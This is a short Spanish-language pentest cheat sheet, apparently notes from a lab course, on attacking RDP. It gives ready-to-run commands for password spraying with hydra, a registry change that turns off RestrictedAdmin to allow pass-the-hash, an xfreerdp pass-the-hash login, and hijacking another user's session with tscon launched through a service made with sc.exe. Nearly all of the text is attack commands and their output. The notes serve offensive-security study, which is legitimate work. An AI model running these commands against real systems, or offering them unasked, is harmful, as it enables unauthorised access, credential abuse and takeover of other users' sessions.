RDP (3389)

Password Spraying

Le pasamos una lista de usuarios con una unica contraseña

$ hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Habilitar PtH por RDP

reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

$ xfreerdp /u:<user> /pth:<hash> /v:<ip>

Suplantar usuario

Listamos usuarios

query user

Para hacerse pasar con éxito por un usuario sin su contraseña, necesitamos tener privilegios SYSTEM y utilizar el binario de Microsoft tscon.exe, que permite conectarse a otra sesión de escritorio especificando el SESSION ID y el nombre de sesión.

SI TENEMOS PERMISOS DE ADMIN

C:\htb> query user
 USERNAME     SESSIONNAME   ID  STATE   IDLE TIME  LOGON TIME
>juurena      rdp-tcp#13     1  Active          7  8/25/2021 1:23 AM
 lewen        rdp-tcp#14     2  Active          *  8/25/2021 1:28 AM

C:\htb> sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"

Empezamos el servicio sessionhijacking

C:\htb> net start sessionhijack